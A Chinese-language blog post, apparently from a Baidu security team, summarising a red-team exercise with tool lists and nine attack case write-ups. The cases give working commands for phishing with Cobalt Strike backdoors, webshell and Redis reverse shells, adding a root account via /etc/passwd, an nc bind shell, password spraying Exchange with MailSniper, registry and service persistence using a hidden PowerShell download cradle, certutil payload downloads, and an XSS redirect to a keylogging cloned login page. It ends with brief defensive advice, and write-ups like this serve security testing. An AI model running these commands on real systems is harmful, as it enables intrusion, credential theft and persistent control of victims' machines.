红蓝对抗攻防演习总结

2019-10-09 10:50:1518994人阅读

常用工具

Cobaltstrike3.1.2(生成后门,权限维持,钓鱼邮件伪造)

Behinder_v2.0.1 (类似菜刀,流量加密绕过waf等)

dirsearch(目录探测扫描)

proxychains (Kali linux自带代理工具)

御剑(端口扫描工具)

163邮箱爆破脚本、Exchange爆破工具MailSniper

Zoomeye,搜索公司主域名或公司名称关键字

Sqlmap注入工具

Layer(Seay写的子域名收集爆破工具)

子域名在线收集工具

https://dns.bufferover.run/dns?q=.google.com


常用CVE漏洞

Redis未授权访问漏洞

通达OA /general/vmeet/wbupload.php任意文件上传漏洞

致远A8 任意文件写入漏洞

用友报表系统未授权访问+暴力破解+发送消息任意文件上传

永恒之蓝(尝试过,未成功)


暂未使用的工具

CrackMapExec(域后渗透工具) https://github.com/byt3bl33d3r/CrackMapExec

使用过编译好的Windows版本。

Empire(内网渗透工具,集合了丰富的内网渗透Powershell脚本) https://github.com/EmpireProject/Empire

Ridrelay一款用于在内网中快速查找域用户名的工具

Smbmap(域内samba共享枚举爆破工具)

Impacket(Python类库,包含多种协议的访问探测脚本) https://github.com/CoreSecurity/impacket

PowerSploit(Powershell攻击脚本集合,信息收集、权限提升、权限维持) https://github.com/PowerShellMafia/PowerSploit

SubDomainSniper(子域名探测收集Win平台工具) https://xz.aliyun.com/t/2051


案例


0x01,钓鱼攻击


信息收集获取了邮箱帐号和密码,使用CS进行钓鱼邮件的伪造和群发,细节:

1、创建Listeners;

2、attacker生成exe的后门木马;

3、使用钓鱼邮件发送功能,配置邮件模版,伪造邮件发件人,加载后门木马,配置smtp发件服务器;

4、被攻击机器中招之后,使用CS中的Sock4 server功能,创建代理;

5、Windows机器使用proxifier代理工具,配置代理和代理规则,规则设置通向目标某个网段的流量走代理,可以在内网进行横向拓展渗透。


0x02,利用漏洞


某个后台存在设计缺陷,通过修改response看到后台的前端URL链接,其中某处存在目录跳转读取漏洞,发现了xxxx_phpmyadmin的后台,访问发现帐号为root,密码为空,从而利用phpmyadmin写入了shell,后续详情:

1、利用冰蝎客户端执行cs生成的powershell后门;

2、获取到反弹回来的session之后,使用sock4代理;

3、windows机器较多,所以用御剑低频率内网刺探445端口,尝试利用永恒之蓝

4、metasploit利用永恒之蓝ms17_010未成功,猜测跟目标是windows server 2012有关;

5、metasploit是在内网,因此使用了kali中的proxychain来设置代理到CS生成的代理服务器,得以可以对内网的目标进行漏洞利用。


0x03,信息收集+Redis


利用信息收集获取了VPN帐号和密码,进入内网之后,使用御剑进行网段redis服务器的探测,然后利用redis未授权漏洞写计划任务反弹shell。

1、御剑端口扫描,redis未授权访问漏洞利用;

2、外网netcat监听端口获取反弹shell,redis root权限;

3、直接粗暴的使用增加root权限帐号的方式来维持权限,遇到了无useradd、adduser的情况,解决方法如下:

 

新增帐号

echo "xxx:x0:0:xxx:/home/s1ma:/bin/bash">> /etc/passwd

设置密码

echo '帐号密码'|passwd --stdin 用户名

0x04,无法访问内网的目标如何3389


拿到某个webshell之后,是system权限,使用getpwd读取了到了管理的密码。本来想使用CS来获取一个Session,从而将目标设置为socket代理来对其内网网段进行扫描拓展的,但是最后发现目标无法访问外网。因此只能尝试连接3389,看是否有其它方法,以ReDuh为例,具体如下:

1、使用ReDuh,直接上传ReDuh到webshell同级目录;

2、本地使用reDuhclient执行命令:

java -jar reDuhClient.jar http://www.target.com/reDuh.php

3、然后在自己的电脑继续用nc连接1010端口,方法如下:

nc -vv localhost 1010

4、之后就可以在nc连接成功的地方执行绑定端口的相关命令如:

[createTunnel]1234:192.168.2.2:3389

其中1234是自己电脑的端口,ip地址是被攻击目标的内网ip地址,也可以是被攻击目标同网段的ip地址,3389是其远程桌面的端口

5、然后mstsc打开远程桌面,直接127.0.0.1:1234即可连接目标。


0x05,可持续性后门


对于无法访问外网的目标,建立可以持续性的后门,主要是创建正向的shellcode,虽然有被防火墙组织访问的可能性,如metasploit就可以创建此类的shellcode。也可以使用nc,相关方法如下:

1、在被攻击机器上执行如下命令:

nc -lvp 4444 -e /bin/bash

监听4444端口,等其它机器连接之后,返回一个bash shell


2、然后用个人电脑直接连接nc 192.168.2.1 4444,当目标无法访问外网的情况下,需要继续配合reDuh进行,在这个案例中,可以如下:

[createTunnel]4321:192.168.2.1:4444

然后直接nc 127.0.0.1 4321


0x06,MailSniper的使用


获取到了一个可登录的邮箱帐号和密码,对方的邮件服务器是用exchange搭建的,可尝试使用MailSniper进行进一步的信息收集。

1、获取更多的邮箱通讯录,命令

cmd中执行

powershell -exec bypass

Import-Module .\mailsniper.ps1

 

然后就可以使用该工具中的方法了,获取通讯录:

 

Get-GlobalAddressList -ExchHostname mail.target.cn -UserName zhangrui -Password 1qaz2wsx -OutFile address-list.txt -ExchangeVersion Exchange2007_SP1

其中需要注意的是,最好使用ExchangeVersion来指定版本,否则可能会报错

2、进行邮箱的暴力破解,实际上awvs也是可以的,不过测试发现该工具效率高

Invoke-PasswordSprayEWS -ExchHostname mail.target.cn -UserList .\username.txt -Password 1qaz2wsx -Threads 10 -OutFile .\success-address-list.txt -ExchangeVersion Exchange2007_SP1

 

需要注意的是,有可能会锁死帐号,所以只使用了一个单独的密码,而不是用Passlist来指定密码字典。


0x07,权限维持相关


使用CS生成钓鱼邮件,当目标打开钓鱼邮件中的附件,CS获取session之后,往往决定能否更长时间的控制“肉鸡”,取决于手速,以及权限的维持技术。

尝试过的靠谱的方法如下:

#CS自带uoload命令上传生成的后门 

upload

#在客户机器上执行命令,将上传的system64.exe加入到启动项

shell reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v "Keyname" /t REG_SZ /d "E:\Download\systemx64.exe" /f

 

遇到过加入启动项失败的情况,有时候是因为权限,有时候可能是因为防火墙之类的。尝试过如下方法:

 

先执行命令加入注册表:

shell reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v "Keyname" /t REG_SZ /d "E:\Download\00-Now\systemx64.exe" /f 

然后再执行copy将后门拷贝到上条命令中所指的路径位置

权限维持应该有很多姿势,有机会亲测可用的就上面这种,还有如下方法:

sc create "Windows Power" binpath= "cmd /c start powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://10.0.0.1:801/a'))\""

新增一个服务,指向CS生成的Powershell命令,从CS控制端下载后门

0x08,XSS漏洞盲打后台HttpOnly情况下配合CS的姿势


1、盲打一波,可能会获取到后台的具体的url访问路径;

2、当后台外网可访问的时候,使用CS的clone功能,生成钓鱼用及可记录键盘的钓鱼网站,具体方法如下:

Attacks--Web Drive by--System Profiler

Local URI随意填写

Redirect URL 填写要克隆的网站具体url,此案例中是后台的登录界面

然后开始克隆网站

Attacks--Web Drive by--Clone Site

Clone URL 填写要克隆的后台地址

Local URI 填写具体的登录uri,如/login/index.php

Attack选择上一步生成的System Profiler

Log Keystrokes on cloned site 选中


3、第二步生成好URL之后,就可以使用如下代码盲打了

<script type="text/javascript">window.location.href="http://111.111.111.111/app/login.jsp";</script>

当管理登录后台访问到盲打到的页面时,会自动跳转到我们伪造的后台钓鱼页面,缺乏安全意识的管理可能会忽略域名的不对,继续进行登录,然后在CS weblog中会看到记录的键盘输入。


0x09,webshell反弹session到CS快速命令


获取webshell之后,最好的方式是反弹个CS的session来继续进行渗透,相关命令如下:

certutil.exe -urlcache -split -f  http://111.222.0.0:8080/1.txt


需要补充弥补的地方

1、提前准备好装有各种工具、环境的win10、kali linux虚拟机;

2、物理机也需要准备好各种环境的安全包;

3、完善漏洞利用工具,如redis、通达oa、泛微oa等漏洞自动化利用;

4、信息收集还需要进一步自动化来实现,c段扩展扫描对外开放的服务端口,有80的打印标题方便快速判断是否是目标;

5、进入内网之后的,小巧且快速的可访问网段及存活主机的筛选判断,并且需要对存活主机进行端口探测扫描;

6、测试确认CS session或者钓鱼获取的Session如何能更好的维持权限;

7、如何快速从Windows机器上收集用户的浏览器访问记录、记住的密码等敏感信息文件。


甲方安全建设需要关注的点

1、办公网网段划分及可访问idc的权限控制;

2、办公网流量分析,能快速发现钓鱼中招后的机器进行内网扫描的行为;

3、办公网段的蜜罐部署;

4、钓鱼邮件的防范。

 


本文由百度安全原创,作者SiemPent Team,转载请注明来源及原文链接

0
现金券
0
兑换券
立即领取
领取成功